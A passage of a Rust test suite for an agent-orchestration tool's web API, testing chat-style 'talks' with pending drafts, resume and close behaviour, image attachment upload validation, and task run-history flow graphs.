9149 queue.put(&mut theirs).expect("file the task");
9150
9151 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9152 assert_eq!(res.status, 200, "{}", res.body);
9153 let body = res.json();
9154 assert_eq!(
9155 body["status"], "open",
9156 "filing a task does not close a talk"
9157 );
9158 let tasks = body["tasks"].as_array().expect("tasks array");
9159 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9160 assert_eq!(tasks[0]["id"], mine.id);
9161 }
9162
9163 #[tokio::test]
9164 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9165 let (_tmp, _repo, f) = talk_fixture().await;
9166 let id = f.post("/api/talks", None).await.json()["id"]
9167 .as_str()
9168 .expect("id")
9169 .to_owned();
9170
9171 let res = f
9172 .post(
9173 &format!("/api/talks/{id}/say"),
9174 Some(r#"{"text":"what does the queue module do?"}"#),
9175 )
9176 .await;
9177 assert_eq!(res.status, 202, "{}", res.body);
9178 let queued = res.json();
9179 let turns = queued["turns"].as_array().expect("turns array");
9180 assert_eq!(
9181 turns.len(),
9182 1,
9183 "the answer reflects only what is on disk the instant it is sent, \
9184 before the agent's turn - which can run for the whole of \
9185 `[graph] timeout_talk` - has a chance to land: {queued}"
9186 );
9187 assert_eq!(turns[0]["who"], "operator");
9188 assert_eq!(turns[0]["body"], "what does the queue module do?");
9189 assert_eq!(
9190 queued["thinking"], true,
9191 "the accepted response exposes the background turn claim: {queued}"
9192 );
9193
9194 let mut turns_after = 1;
9195 for _ in 0..SETTLE_STEPS {
9196 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9197 turns_after = detail["turns"].as_array().expect("turns array").len();
9198 if turns_after == 2 {
9199 break;
9200 }
9201 tokio::time::sleep(Duration::from_millis(10)).await;
9202 }
9203 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9204 }
9205
9206 #[tokio::test]
9233 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9234 let tmp = TempDir::new().expect("tempdir");
9235 let repo = tmp.path().join("repo");
9236 std::fs::create_dir_all(&repo).expect("repo dir");
9237 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9238 let home = TempDir::new().expect("temp home");
9239 let talks = Talks::at(home.path().join("talks"));
9240 let ui = Arc::new(
9241 Ui::new(
9242 Queue::at(home.path().join("queue")),
9243 Questions::at(home.path().join("questions")),
9244 talks.clone(),
9245 home.path().join("runs"),
9246 home.path().to_path_buf(),
9247 repo.clone(),
9248 )
9249 .with_worktrees_root(home.path().join("wt")),
9250 );
9251 let cfg = config_for(&repo).await.expect("discover config");
9252
9253 for delay in 0..40u32 {
9254 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9255 let id = talk.id.clone();
9256
9257 let handler = tokio::spawn(talk_say(
9258 State(Arc::clone(&ui)),
9259 Path(id.clone()),
9260 Ok(Json(NewTalkTurn {
9261 text: "what does the queue module do?".to_owned(),
9262 attachments: Vec::new(),
9263 })),
9264 ));
9265 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9266 handler.abort();
9267 let _ = handler.await;
9270
9271 let mut turns = 0;
9272 for _ in 0..SETTLE_STEPS {
9273 if let Ok(fresh) = talks.get(&id) {
9274 turns = fresh.turns.len();
9275 if turns != 1 {
9276 break;
9277 }
9278 }
9279 tokio::time::sleep(Duration::from_millis(10)).await;
9280 }
9281 assert_ne!(
9282 turns, 1,
9283 "delay {delay}: talk {id} recorded the operator's turn but \
9284 the agent never answered - the reply task was never \
9285 started after the handler future was dropped"
9286 );
9287 }
9288 }
9289
9290 #[tokio::test]
9335 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9336 let tmp = TempDir::new().expect("tempdir");
9337 let repo = tmp.path().join("repo");
9338 std::fs::create_dir_all(&repo).expect("repo dir");
9339 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9340 let home = TempDir::new().expect("temp home");
9341 let talks = Talks::at(home.path().join("talks"));
9342 let ui = Arc::new(
9343 Ui::new(
9344 Queue::at(home.path().join("queue")),
9345 Questions::at(home.path().join("questions")),
9346 talks.clone(),
9347 home.path().join("runs"),
9348 home.path().to_path_buf(),
9349 repo.clone(),
9350 )
9351 .with_worktrees_root(home.path().join("wt")),
9352 );
9353 let cfg = config_for(&repo).await.expect("discover config");
9354
9355 for attempt in 0..3u32 {
9356 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9357 let id = talk.id.clone();
9358 let turn_guard = ui
9361 .begin_talk_turn(&id)
9362 .expect("claim the turn")
9363 .expect("a fresh talk owes nobody a turn");
9364
9365 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9366 let (release_tx, release_rx) = std::sync::mpsc::channel();
9367 ui.set_busy_queue_gate(BusyQueueGate {
9368 reached: reached_tx,
9369 release: release_rx,
9370 });
9371
9372 let handler = tokio::spawn(talk_say(
9373 State(Arc::clone(&ui)),
9374 Path(id.clone()),
9375 Ok(Json(NewTalkTurn {
9376 text: "what does the queue module do?".to_owned(),
9377 attachments: Vec::new(),
9378 })),
9379 ));
9380
9381 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9386 .await
9387 .unwrap_or_else(|_| {
9388 panic!(
9389 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9390 )
9391 })
9392 .expect("the busy branch dropped the gate without using it");
9393
9394 let running = talks.get(&id).expect("reload talk");
9401 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9402
9403 handler.abort();
9407 let _ = handler.await;
9408
9409 let _ = release_tx.send(());
9415
9416 let mut fresh = talks.get(&id).expect("reload talk");
9419 for _ in 0..SETTLE_STEPS {
9420 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9421 break;
9422 }
9423 tokio::time::sleep(Duration::from_millis(10)).await;
9424 fresh = talks.get(&id).expect("reload talk");
9425 }
9426 assert!(
9427 fresh.pending.is_empty() && fresh.turns.len() == 2,
9428 "attempt {attempt}: talk {id} left the operator's text queued \
9429 with no drainer - the reclaimed turn was dropped along with \
9430 the handler future (pending {:?}, {} turns)",
9431 fresh.pending,
9432 fresh.turns.len()
9433 );
9434 }
9435 }
9436
9437 #[tokio::test]
9438 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9439 let (_tmp, _repo, f) = talk_fixture().await;
9440 let id = f.post("/api/talks", None).await.json()["id"]
9441 .as_str()
9442 .expect("id")
9443 .to_owned();
9444 let store = f.talks();
9445 let mut recovered = store.get(&id).expect("opened talk");
9446 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9447 .expect("persist pending draft without a live turn");
9448
9449 let edited = f
9450 .post(
9451 &format!("/api/talks/{id}/pending/edit"),
9452 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9453 )
9454 .await;
9455 assert_eq!(edited.status, 200, "{}", edited.body);
9456 assert!(edited.json()["thinking"].as_bool().unwrap());
9457
9458 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9459 for _ in 0..SETTLE_STEPS {
9460 if detail["turns"].as_array().expect("turns").len() == 2 {
9461 break;
9462 }
9463 tokio::time::sleep(Duration::from_millis(10)).await;
9464 detail = f.get(&format!("/api/talks/{id}")).await.json();
9465 }
9466 let turns = detail["turns"].as_array().expect("turns");
9467 assert_eq!(
9468 turns.len(),
9469 2,
9470 "the recovered draft must run once: {detail}"
9471 );
9472 assert_eq!(turns[0]["body"], "corrected");
9473 assert_eq!(detail["pending"], "");
9474 }
9475
9476 #[tokio::test]
9477 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9478 let tmp = TempDir::new().expect("tempdir");
9479 let repo = tmp.path().join("repo");
9480 std::fs::create_dir_all(&repo).expect("repo dir");
9481 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9482 let f = Fixture::with_repo(repo).await;
9483 let id = f.post("/api/talks", None).await.json()["id"]
9484 .as_str()
9485 .expect("id")
9486 .to_owned();
9487 let store = f.talks();
9488 let mut recovered = store.get(&id).expect("opened talk");
9489 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9490 .expect("persist pending draft without a live turn");
9491
9492 let refused = f
9493 .post(
9494 &format!("/api/talks/{id}/say"),
9495 Some(r#"{"text":"new message"}"#),
9496 )
9497 .await;
9498 assert_eq!(refused.status, 409, "{}", refused.body);
9499 assert!(refused.body.contains("resume"), "{}", refused.body);
9500 let saved = store.get(&id).expect("draft remains after refusal");
9501 assert!(saved.turns.is_empty());
9502 assert_eq!(saved.pending, "saved before restart");
9503
9504 let say_path = format!("/api/talks/{id}/say");
9505 let (first, second) = tokio::join!(
9506 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9507 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9508 );
9509 assert_eq!(first.status, 409, "{}", first.body);
9510 assert_eq!(second.status, 409, "{}", second.body);
9511 let saved = store
9512 .get(&id)
9513 .expect("draft remains after concurrent refusals");
9514 assert!(saved.turns.is_empty());
9515 assert_eq!(saved.pending, "saved before restart");
9516
9517 let resumed = f
9518 .post(&format!("/api/talks/{id}/pending/resume"), None)
9519 .await;
9520 assert_eq!(resumed.status, 202, "{}", resumed.body);
9521 let duplicate = f
9522 .post(&format!("/api/talks/{id}/pending/resume"), None)
9523 .await;
9524 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9525
9526 for _ in 0..SETTLE_STEPS {
9527 if store.get(&id).expect("talk").turns.len() == 2 {
9528 break;
9529 }
9530 tokio::time::sleep(Duration::from_millis(10)).await;
9531 }
9532 let finished = store.get(&id).expect("finished talk");
9533 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9534 assert_eq!(finished.turns[0].body, "saved before restart");
9535 assert!(finished.pending.is_empty());
9536 }
9537
9538 #[tokio::test]
9539 async fn an_image_only_recovered_draft_resumes_without_text() {
9540 let (_tmp, _repo, f) = talk_fixture().await;
9541 let id = f.post("/api/talks", None).await.json()["id"]
9542 .as_str()
9543 .expect("id")
9544 .to_owned();
9545 let uploaded = f
9546 .post_bytes(
9547 &format!("/api/talks/{id}/attachments"),
9548 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9549 PNG_BYTES,
9550 )
9551 .await;
9552 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9553 let attachment = f
9554 .talks()
9555 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9556 .expect("attachment metadata")
9557 .expect("stored attachment");
9558 let store = f.talks();
9559 let mut recovered = store.get(&id).expect("opened talk");
9560 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9561
9562 let resumed = f
9563 .post(&format!("/api/talks/{id}/pending/resume"), None)
9564 .await;
9565 assert_eq!(resumed.status, 202, "{}", resumed.body);
9566 for _ in 0..SETTLE_STEPS {
9567 if store.get(&id).expect("talk").turns.len() == 2 {
9568 break;
9569 }
9570 tokio::time::sleep(Duration::from_millis(10)).await;
9571 }
9572 let finished = store.get(&id).expect("finished talk");
9573 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9574 assert!(finished.turns[0].body.is_empty());
9575 assert_eq!(finished.turns[0].attachments.len(), 1);
9576 assert!(finished.pending_attachments.is_empty());
9577 }
9578
9579 #[tokio::test]
9580 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9581 let (_tmp, _repo, f) = talk_fixture().await;
9582 let id = f.post("/api/talks", None).await.json()["id"]
9583 .as_str()
9584 .expect("id")
9585 .to_owned();
9586 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9587 assert_eq!(closed.status, 200, "{}", closed.body);
9588 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9589 .expect("serialize closed talk");
9590 for (path, body) in [
9591 (format!("/api/talks/{id}/pending/resume"), None),
9592 (
9593 format!("/api/talks/{id}/pending/clear"),
9594 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9595 ),
9596 (
9597 format!("/api/talks/{id}/pending/edit"),
9598 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9599 ),
9600 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9601 ] {
9602 let response = f.post(&path, body).await;
9603 assert_eq!(response.status, 409, "{}", response.body);
9604 }
9605 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9606 .expect("serialize closed talk");
9607 assert_eq!(
9608 after_clear, before_clear,
9609 "clear must not rewrite a closed talk"
9610 );
9611 }
9612
9613 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9616
9617 #[tokio::test]
9618 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9619 let tmp = TempDir::new().expect("tempdir");
9620 let repo = tmp.path().join("repo");
9621 std::fs::create_dir_all(&repo).expect("repo dir");
9622 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9623 let f = Fixture::with_repo(repo).await;
9624 let id_a = f.post("/api/talks", None).await.json()["id"]
9625 .as_str()
9626 .unwrap()
9627 .to_owned();
9628 let id_b = f.post("/api/talks", None).await.json()["id"]
9629 .as_str()
9630 .unwrap()
9631 .to_owned();
9632
9633 let a = f
9634 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9635 .await;
9636 assert_eq!(a.status, 202, "{}", a.body);
9637 assert_eq!(a.json()["thinking"], true);
9638 let b = f
9639 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9640 .await;
9641 assert_eq!(b.status, 202, "{}", b.body);
9642 assert_eq!(b.json()["thinking"], true);
9643
9644 let listed = f.get("/api/talks").await.json();
9645 for id in [&id_a, &id_b] {
9646 let view = listed
9647 .as_array()
9648 .unwrap()
9649 .iter()
9650 .find(|talk| talk["id"] == *id)
9651 .unwrap();
9652 assert_eq!(view["thinking"], true, "{listed}");
9653 }
9654 let repeated = f
9655 .post(
9656 &format!("/api/talks/{id_a}/say"),
9657 Some(r#"{"text":"again"}"#),
9658 )
9659 .await;
9660 assert_eq!(repeated.status, 202, "{}", repeated.body);
9661 assert_eq!(repeated.json()["pending"], "again");
9662 }
9663
9664 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9667
9668 #[tokio::test]
9669 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9670 let f = Fixture::start().await;
9671 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9672
9673 let res = f
9674 .post_bytes(
9675 &format!("/api/talks/{id}/attachments"),
9676 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9677 PNG_BYTES,
9678 )
9679 .await;
9680 assert_eq!(res.status, 201, "{}", res.body);
9681 let body = res.json();
9682 assert_eq!(body["name"], "shot.png");
9683 assert_eq!(body["mime"], "image/png");
9684 assert_eq!(body["bytes"], PNG_BYTES.len());
9685 let att_id = body["id"].as_str().expect("id").to_owned();
9686 assert_eq!(
9687 att_id.len(),
9688 32,
9689 "the id must never be a client-suppliable path: {att_id}"
9690 );
9691
9692 let got = f
9693 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9694 .await;
9695 assert_eq!(got.status, 200, "{}", got.body);
9696 assert_eq!(got.header("content-type"), Some("image/png"));
9697 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9698 assert_eq!(got.bytes, PNG_BYTES);
9699 }
9700
9701 #[tokio::test]
9702 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9703 let f = Fixture::start().await;
9704 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9705
9706 let svg = f
9709 .post_bytes(
9710 &format!("/api/talks/{id}/attachments"),
9711 &[("Content-Type", "image/svg+xml")],
9712 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9713 )
9714 .await;
9715 assert!(
9716 (400..500).contains(&svg.status),
9717 "svg must be refused: {} {}",
9718 svg.status,
9719 svg.body
9720 );
9721 assert!(svg.body.contains("SVG"), "{}", svg.body);
9722
9723 let text = f
9724 .post_bytes(
9725 &format!("/api/talks/{id}/attachments"),
9726 &[("Content-Type", "text/plain")],
9727 b"just some text",
9728 )
9729 .await;
9730 assert!(
9731 (400..500).contains(&text.status),
9732 "an unlisted type must be refused: {} {}",
9733 text.status,
9734 text.body
9735 );
9736
9737 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9740 let big = f
9741 .post_bytes(
9742 &format!("/api/talks/{id}/attachments"),
9743 &[("Content-Type", "image/png")],
9744 &oversized,
9745 )
9746 .await;
9747 assert_eq!(
9748 big.status,
9749 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9750 "{}",
9751 big.body
9752 );
9753 }
9754
9755 #[tokio::test]
9756 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9757 let f = Fixture::start().await;
9758 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9759
9760 let res = f
9763 .post_bytes(
9764 &format!("/api/talks/{id}/attachments"),
9765 &[("Content-Type", "image/png")],
9766 b"<html>not a picture</html>",
9767 )
9768 .await;
9769 assert!((400..500).contains(&res.status), "{}", res.body);
9770 }
9771
9772 #[tokio::test]
9773 async fn an_unknown_attachment_id_is_a_404() {
9774 let f = Fixture::start().await;
9775 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9776
9777 let res = f
9778 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9779 .await;
9780 assert_eq!(res.status, 404, "{}", res.body);
9781 }
9782
9783 #[tokio::test]
9784 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9785 let f = Fixture::start().await;
9786 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9787
9788 let uploaded = f
9789 .post_bytes(
9790 &format!("/api/talks/{id}/attachments"),
9791 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9792 PNG_BYTES,
9793 )
9794 .await;
9795 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9796 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9797
9798 let res = f
9799 .post(
9800 &format!("/api/talks/{id}/say"),
9801 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9802 )
9803 .await;
9804 assert_eq!(res.status, 202, "{}", res.body);
9805 let queued = res.json();
9806 let turns = queued["turns"].as_array().expect("turns array");
9807 assert_eq!(
9808 turns.len(),
9809 1,
9810 "an empty body with an attachment is still a turn: {queued}"
9811 );
9812 assert_eq!(turns[0]["who"], "operator");
9813 assert_eq!(turns[0]["body"], "");
9814 let atts = turns[0]["attachments"]
9815 .as_array()
9816 .expect("attachments array");
9817 assert_eq!(atts.len(), 1);
9818 assert_eq!(atts[0]["id"], att_id);
9819 assert_eq!(atts[0]["mime"], "image/png");
9820
9821 let on_disk = f.talks().get(&id).expect("get");
9824 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9825 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9826 }
9827
9828 #[tokio::test]
9829 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9830 let f = Fixture::start().await;
9831 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9832
9833 let res = f
9834 .post(
9835 &format!("/api/talks/{id}/say"),
9836 Some(&format!(
9837 r#"{{"text":"hi","attachments":["{}"]}}"#,
9838 "a".repeat(32)
9839 )),
9840 )
9841 .await;
9842 assert!((400..500).contains(&res.status), "{}", res.body);
9843 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9844
9845 let on_disk = f.talks().get(&id).expect("get");
9846 assert!(
9847 on_disk.turns.is_empty(),
9848 "a rejected attachment id must not partially record the turn: {:?}",
9849 on_disk.turns
9850 );
9851 }
9852
9853 #[tokio::test]
9854 async fn talk_close_makes_the_talk_refuse_further_turns() {
9855 let f = Fixture::start().await;
9856 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9857
9858 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9859 assert_eq!(closed.status, 200, "{}", closed.body);
9860 assert_eq!(closed.json()["status"], "closed");
9861
9862 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9864 assert_eq!(closed_again.status, 200);
9865 assert_eq!(closed_again.json()["status"], "closed");
9866
9867 let said = f
9868 .post(
9869 &format!("/api/talks/{id}/say"),
9870 Some(r#"{"text":"too late"}"#),
9871 )
9872 .await;
9873 assert_eq!(said.status, 409, "{}", said.body);
9874 }
9875
9876 #[tokio::test]
9877 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9878 let (_tmp, _repo, f) = talk_fixture().await;
9879 let id = f.post("/api/talks", None).await.json()["id"]
9880 .as_str()
9881 .expect("id")
9882 .to_owned();
9883 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9884 assert_eq!(closed.status, 200, "{}", closed.body);
9885
9886 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9887 assert_eq!(reopened.status, 200, "{}", reopened.body);
9888 assert_eq!(reopened.json()["status"], "open");
9889
9890 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9892 assert_eq!(reopened_again.status, 200);
9893 assert_eq!(reopened_again.json()["status"], "open");
9894
9895 let said = f
9896 .post(
9897 &format!("/api/talks/{id}/say"),
9898 Some(r#"{"text":"still there?"}"#),
9899 )
9900 .await;
9901 assert_eq!(
9902 said.status, 202,
9903 "a reopened talk accepts turns again: {}",
9904 said.body
9905 );
9906 }
9907
9908 #[tokio::test]
9909 async fn talk_reopen_on_an_unknown_id_is_404() {
9910 let f = Fixture::start().await;
9911 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9912 assert_eq!(res.status, 404, "{}", res.body);
9913 }
9914
9915 #[tokio::test]
9916 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9917 let f = Fixture::start().await;
9918 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9919
9920 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9921 assert_eq!(deleted.status, 204, "{}", deleted.body);
9922
9923 let after = f.get(&format!("/api/talks/{id}")).await;
9924 assert_eq!(after.status, 404, "{}", after.body);
9925
9926 let listed = f.get("/api/talks").await.json();
9927 assert!(
9928 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9929 "a deleted talk must not linger in the list: {listed}"
9930 );
9931 }
9932
9933 #[tokio::test]
9934 async fn talk_delete_on_an_unknown_id_is_404() {
9935 let f = Fixture::start().await;
9936 let res = f.delete("/api/talks/nonexistent-id").await;
9937 assert_eq!(res.status, 404, "{}", res.body);
9938 }
9939
9940 #[tokio::test]
9944 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9945 let f = Fixture::start().await;
9946 let (a, b, gone) = (
9947 "20260902-140501-aaaa",
9948 "20260902-140502-bbbb",
9949 "20260902-140503-cccc",
9950 );
9951 write_run(&f.runs(), a, RunStatus::Stalled);
9952 let mut review = RunState::new(
9953 PathBuf::from("/repo/magi"),
9954 "main".to_owned(),
9955 "0123456789abcdef".to_owned(),
9956 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9957 .to_owned(),
9958 Config::default(),
9959 );
9960 review.id = b.to_owned();
9961 review.status = RunStatus::Merged;
9962 write_state(&f.runs(), &review);
9963
9964 let mut task = Task::new(
9965 "retry".to_owned(),
9966 "Do the thing".to_owned(),
9967 PathBuf::from("/repo/magi"),
9968 Source::Human,
9969 );
9970 task.start(a.to_owned());
9971 task.stall("quota");
9972 task.start(a.to_owned());
9973 task.start(b.to_owned());
9974 task.start(gone.to_owned());
9975 f.queue().put(&mut task).expect("file the task");
9976
9977 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9978 assert_eq!(res.status, 200, "{}", res.body);
9979 let v = res.json();
9980 let h = v["history"].as_array().expect("history");
9981 assert_eq!(h.len(), 4, "{v}");
9982 assert_eq!(h[0]["kind"], "competition");
9983 assert_eq!(h[0]["status"], "stalled");
9984 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9985 assert_eq!(h[1]["kind"], "resume", "{v}");
9986 assert!(
9987 h[0]["outcome"]
9988 .as_str()
9989 .unwrap()
9990 .contains("unknown. Pass #2"),
9991 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9992 );
9993 assert!(
9994 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9995 "{v}"
9996 );
9997 assert!(
9998 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9999 "an unrecorded cause must not be narrated as an operator park: {v}"
10000 );
10001 assert_eq!(h[2]["kind"], "review");
10002 assert!(
10003 h[2]["description"]
10004 .as_str()
10005 .unwrap()
10006 .contains("magi/aaaa/A")
10007 );
10008 assert_eq!(h[2]["status"], "merged");
10009 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10010 assert_eq!(v["runs_unreadable"], 1);
10011 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10012 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10013 assert_eq!(nodes[4]["note"], "unreadable");
10014 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10015 assert_eq!(v["instruction"], "Do the thing");
10016 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10017
10018 let run = f.get(&format!("/api/runs/{a}")).await.json();
10020 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10021
10022 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10023 }
10024
10025 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10026 let mut s = RunState::new(
10027 PathBuf::from("/repo/magi"),
10028 "main".to_owned(),
10029 "0123456789abcdef".to_owned(),
10030 "Do it".to_owned(),
10031 Config::default(),
10032 );
10033 s.status = status;
10034 edit(&mut s);
10035 s
10036 }
10037
10038 fn flow_task(runs: &[&str]) -> Task {
10039 let mut t = Task::new(
10040 "t".to_owned(),
10041 "Do it".to_owned(),
10042 PathBuf::from("/repo/magi"),
10043 Source::Human,
10044 );
10045 for r in runs {
10046 t.start((*r).to_owned());
10047 }
10048 t
10049 }
10050
10051 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10052 let h = task_history(task, |id| {
10053 states
10054 .iter()
10055 .find(|(i, _)| *i == id)
10056 .and_then(|(_, s)| s.clone())
10057 });
10058 task_flow(task, &h, 5)
10059 }
10060
10061 #[test]
10062 fn flow_opens_with_the_chat_that_queued_the_task() {
10063 let mut t = flow_task(&[]);
10064 t.source = Source::Agent {
10065 run: "a b/c".to_owned(),
10066 node: crate::queue::CHAT_NODE.to_owned(),
10067 };
10068 let f = flow_for(&t, &[]);
10069 assert_eq!(f.nodes[0].key, "chat");
10070 assert_eq!(f.nodes[0].kind, "chat");
10071 assert_eq!(
10072 f.nodes[0].label,
10073 format!("Chat {}", crate::queue::short("a b/c"))
10074 );
10075 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10076 assert_eq!(f.nodes[1].key, "start");
10077 assert_eq!(
10078 f.edges[0],
10079 FlowEdge {
10080 from: "chat".to_owned(),
10081 to: "start".to_owned(),
10082 label: "queued from chat".to_owned(),
10083 attempt: AttemptCost::None,
10084 }
10085 );
10086 }
10087
10088 #[test]
10089 fn flow_has_no_chat_box_for_other_sources() {
10090 for source in [
10091 Source::Human,
10092 Source::Issue {
10093 number: 3,
10094 repo: "o/r".to_owned(),
10095 },
10096 Source::Agent {
10097 run: "20260904-014455-ab12".to_owned(),
10098 node: "implement".to_owned(),
10099 },
10100 ] {
10101 let mut t = flow_task(&[]);
10102 t.source = source;
10103 let f = flow_for(&t, &[]);
10104 assert_eq!(f.nodes[0].key, "start");
10105 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10106 assert!(f.edges.iter().all(|e| e.from != "chat"));
10107 }
10108 }
10109
10110 const FA: &str = "20260902-140501-aaaa";
10111 const FB: &str = "20260902-140502-bbbb";
10112
10113 #[test]
10114 fn flow_follows_blocked_retry_merged_to_done() {
10115 let mut t = flow_task(&[FA, FB]);
10116 t.status = TaskStatus::Done;
10117 let f = flow_for(
10118 &t,
10119 &[
10120 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10121 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10122 ],
10123 );
10124 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10125 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10126 assert_eq!(f.edges.len(), 3);
10127 assert_eq!(f.edges[0].label, "claimed");
10128 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10129 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10130 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10131 assert_eq!(
10132 f.nodes[2].href.as_deref(),
10133 Some("#/runs/20260902-140502-bbbb")
10134 );
10135 assert!(f.nodes[2].decided);
10136 }
10137
10138 #[test]
10139 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10140 let quota = || {
10141 flow_run(RunStatus::Stalled, |s| {
10142 s.quota.push(crate::run::QuotaLoss {
10143 seat: "judge-1".to_owned(),
10144 node: "judge".to_owned(),
10145 at: Timestamp::now(),
10146 reset: None,
10147 })
10148 })
10149 };
10150 let mut t = flow_task(&[FA, FA]);
10151 t.status = TaskStatus::Queued;
10152 let f = flow_for(&t, &[(FA, Some(quota()))]);
10153 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
